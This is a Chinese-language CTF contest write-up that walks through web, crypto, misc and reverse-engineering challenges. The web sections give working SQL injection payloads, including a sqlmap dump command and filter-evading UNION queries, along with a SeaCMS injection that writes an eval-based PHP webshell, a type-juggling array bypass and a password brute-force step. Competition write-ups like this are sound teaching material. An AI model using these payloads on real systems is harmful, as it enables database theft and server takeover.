文章首发于安恒网络空间安全讲武堂
Web1 土肥原贤二 100pt
尝试提交gid=1'
报错,gid=1 or 1=1
回显正常,直接使用sqlmap
进行测试,存在以下注入方式:
1 | Parameter: gid (GET) |
Payload:sqlmap -u "http://47.103.43.235:81/quest/web/a/index.php?gid=1" -p gid -v 3 -D luozhen -T flag -C "id,flag" --dump
.
Web2 戴星炳 200pt
2s快速提交正确结果即可获取flag,Python脚本:
1 | import re |
运行结果:flag{Y0U_4R3_3o_F4ST!}。
WriteUp记录到这里的时候主办方再次关闭了比赛官网,只开放题目链接,下面就各题目进行记录~
Web3 MD5碰撞
F12查看网页源代码发现以下注释PHP代码:
1 | if ((string)$_POST['param1']!==(string)$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])) |
两次比较(!==
/===
)均采用了比较严格的比较,无法通过弱类型的比较去绕过。
可以通过MD5碰撞生成器fastcoll_v1.0.0.5.exe.zip 来构造两个MD5值相同,但内容不同的字符串来绕过。
这里参考MD5碰撞-奶奶奶奶奶糖的样本提交进行测试~
Payload:
1 | param1= |
得到flag{[email protected][email protected]}。
Web4 SeaCMS
尝试弱口令登录后台,回显admin
用户不存在。
参考Seacms漏洞分析利用复现 By AssassinSearch.php
漏洞利用姿势,写入一句话木马,用Cknife连接之。
Payload:
1 | http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[cmd]) |
在根目录下发现flag.txt,获取flag{[email protected]@}。
Web5 Break the sha
F12查看源代码发现<!--index.phps-->
,访问下载index.phps文件打开获取:
1 |
|
name与password字段用==
弱类型进行比较,sha1用===
进行强类型比较,可以用数组绕过。
Payload:
1 | name[]=1&password[]=2 |
回显:flag{Y0u_just_br0ke_sha1}。
Web6 SQLi2
观察到id===QM
,MQ==是1的Base64编码,推测为Base64编码后逆序传值。
手工注入测试发现过滤了and
、or
、select
、union
关键字,去除了单引号、双引号、等号、空格等字符,可以双写绕过关键字的过滤,采用/**/
绕过空格,使用字符窜的hex编码绕过引号以及使用regexp
绕过等号。
- 爆数据库
1 | -1/**/uniunionon/**/selselectect/**/1,group_concat(schema_name),3,4,5,6/**/from/**/infoorrmation_schema.schemata-- |
- 爆ctf_sql中的表
1 | -1/**/uniunionon/**/selselectect/**/1,group_concat(table_name),3,4,5,6/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/regexp/**/0x6374665f73716c-- |
- 爆flag中的列
1 | -1/**/uniunionon/**/selselectect/**/1,group_concat(column_name),3,4,5,6/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/regexp/**/0x666c6167-- |
- 获取flag
1 | -1/**/uniunionon/**/selselectect/**/1,group_concat(flag),3,4,5,6/**/from/**/flag-- |
Crypto1 神秘代码
1 | Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcHBWa1phZVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbXRXTVhCRlZXeHdWMDFFUlRCV2Fra3hVakZhV0ZOcmFGWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWWndNRlZ0ZUZOVWJVWTJVbFJDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRiMVV4VWtkWGJrNVlZbGhTV0ZSV1pEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZkU1JYQklWbXBHVDFkV2NFZGhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKWVFrbFdiWEJIVkRGa1YyTkZaR2hTTW5oVVdWUk9RMWRzV1hoWGJYUk9VbTE0V0ZaWGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5TUmxweFUydGFiRlpzU2xwWlZWcHJZVWRGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU2MxWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpyWWtad2VGVnRkREJWTWtwSVZXcENXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTVc5bGJHUllaVWM1YVUxWFVucFdNV2h2VjBkS1dWVnJPVlppVkVVd1ZqQmFZVmRIVWtoa1JtUnBWbGhDU2xkV1ZtOVVNVnAwVW01S1QxWnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbFVRWGhUUmtweVdrWm9hV0Y2Vm5oV1ZFSnZVVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUjNSb1lsVndWMWx1Y0V0V2JGbDZZVVJPV21FeVVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFhZbXhhVjFsc2FFTldSbXhaWTBaa2EwMVdjREJaTUZZd1lWVXhXRlZyYUZkTmFsWlVWa2Q0UzFKc1pIVlRiRlpYWWtoQ05sWkhlR0ZaVm1SR1RsWmFVRlp0YUZSWmJGcExVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYlVaVlZteHdNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnNiRnBOTW1oWVZGWmFTMVZHY0VWU2EzQnNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdibEpzVTBkU2NGVnFRbmRXTVZsNVpFaGtWMDFFUmpGWlZWSlBWMjFGZVZWclpHRldNMmhJV1RKemVGWXhjRWRhUlRWT1VsaENTMVp0TVRCVk1VMTRWVzVTVjJFeVVtaFZNRnBoVmpGc2MxcEVVbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VmxKaVJscFlXV3RvUTFkV1draGtSMFpvVFdzMWVsWXlOVk5oTVVsNVlVWm9XbFpGTlVSVk1WcHJWbFpHZEZKc1drNVdNVWwzVmxkNGIySXhXWGhhUldob1VtMW9WbFpzV25kTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRllaRmhpUmxweVdYcEdWbVZXVG5KYVIyaE9UVzFvV1ZaR1l6RlZNV1JIVjJ4V1UyRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQktWVmMxYjFZeFdqWlNWRUpoVWtWYWNsVnFTa3RUVmxKMFlVWk9hR1ZzV2pSV2JUQjRaV3N4V0ZadVRsaGlSMmh4V2xkNFlWWXhVbGRYYlVaWFZteHdlbGxWYUd0V2F6RldWbXBTVjJKWVFtaFdiVEZHWkRGYWRWUnNWbGRTVlhCVVYxZDBWbVF5VVhoV2JGSlhWMGhDVkZWV1RsWmxiRXBFVmxod1UxRlRWWHBTUTFWNlVrRWxNMFFsTTBRJTNE |
在Base64解密不断进行B64解密得到:
1 | fB__l621a4h4g_ai{&i} |
共20个字符,尝试进行4*5分列得到:
1 | fB__ |
得到flag{B64_&_2hai_14i}.
Crypto2 神秘代码2
脑洞题目~尝试进行移位变换最终检索到flag{c4es4r_variation},为凯撒移位的变种。
C++ Payload:
1 | string s = "bg[`sZ*Zg'dPfP`VM_SXVd"; |
Crypto3 希尔密码
给出加密矩阵和密文求明文,这里可以参考希尔密码解密过程求出3*3解密矩阵:
[[8,16,27],[8,99 ,24],[27,24,27]],这里乘上3*4密文矩阵
[[23,10,12,24],[16,2,25,3,],[9,0,9,5]]得到矩阵:
对26进行取余后转化为字符打印得到hillisflagxx
,C++脚本:
1 |
|
Crypto4 RSA256
下载解压后得到公钥gy.key和fllllllag.txt。
- 解法1
通过openssl查看公钥信息:
1 | $ openssl rsa -pubin -in gy.key -text -modulus |
获取模数(Modulus)N
以及以及公钥指数(Exponent)e
:
1 | N=76775333340223961139427050707840417811156978085146970312315886671546666259161 |
模数N在http://factordb.com可在线分解为:
1 | p = 273821108020968288372911424519201044333 |
已知n(可分解为p,q),e,c,可以计算出d后解密,Python脚本:
1 | import gmpy2 |
得到flag{2o!9_CTF_ECUN}。
- 解法2
已知公钥gy.key和cipher message fllllllag.txt求解明文,这里尝试用RSACtfTool直接进行解密:
1 | D:\Tools\Crypto\RSACtfTool\RsaCtfTool |
获取flag{_2o!9_CTF_ECUN_}
。
Misc1 奇怪的单点音
播放音频有明显的杂音和3次嘟声,尝试用Aduacity
打开分析,观察频谱图发现flag字段:
Hint:主办方声明flag{85a9d4517d4725_b9_8cbc9fd_554216}并非最终答案,请认真审题。
接下来就是脑洞部分,观察到字符串(含下划线)共32位,疑似MD5加密,尝试替换下划线为摩斯密码的t、以及字符串中未出现的数字,当下划线全替换为0
时在ChaMd5.org成功解密。
获取flag{hsd132456}.
Misc2 二维码
下载图片尝试使用binwalk
进行探测:
1 | $ python binwalk index.png |
发现存在压缩包文件,得到Hint:解压密码为管理人员的QQ号,使用binwalk -e 分离后使用ARCHPR进行爆破。
获取密码674290437
,解压得到flag{[email protected]$_m^aa0}。
Misc3 jsfuck
题目地址: http://47.103.43.235:85/b/%E7%AC%AC%E4%B8%80%E9%A2%98_js%EF%BC%9F.txt
Base64解码后得到jsfuck
加密的js脚本,直接复制在控制台Console运行即可获取flag{sdf465454dfgert32}。
RE1 梅津美治郎
查壳无壳,为32位PE文件,在IDA中查看:
Level1基本没什么难度,进入Level2:
这里有个反调试函数,使用x86dbug调试会直接退出。但是使用OD或者吾爱破解版本的OD可以解决这个反调试函数。往后动态调试进到
其操作就是将里的数据与0x2异或,然后与输入对比,相同即可。
1 | a = [0x75,0x31,0x6e,0x6e,0x66,0x32,0x6c,0x67] |
得到w3lld0ne
。
使用下划线连接,得到flag{r0b0RUlez!_w3lld0ne}.
RE2 76号
查看无壳为32位ELF文件。这个纯静态观察即可,查看字符串,这里有correct:
交叉引用,可以进入到main函数,这里阅读main函数,可以看到printf后再跟getline获取输入,再跟到后面一个check函数 0x804848f,然后根据返回结果判断是否正确。接下来进入到该check函数:
反编译check函数,是一个switch。函数的两个参数一个是我们输入的字符串地址,一个是0。寻找问题的关键点在于返回1.
注意每一个return,将可能返回1的return作为重点查看。例如:
在while循环的开头,每次会填充堆栈里的一个值为1,该值与我们输入有关。以v5[0]为起点。然后仔细阅读C代码,尝试:
发现符合程序流程。后续继续猜测令V2等于2的case,以此类推。4和8的比较特殊,后面都是手动验证,发现正确符合规律,获取flag{09vdf7wefijbk}~
Crypto&Misc&RE题目下载链接: https://pan.baidu.com/s/10tlJmUVZtekuYNgTi9eCNQ 提取码: bkiv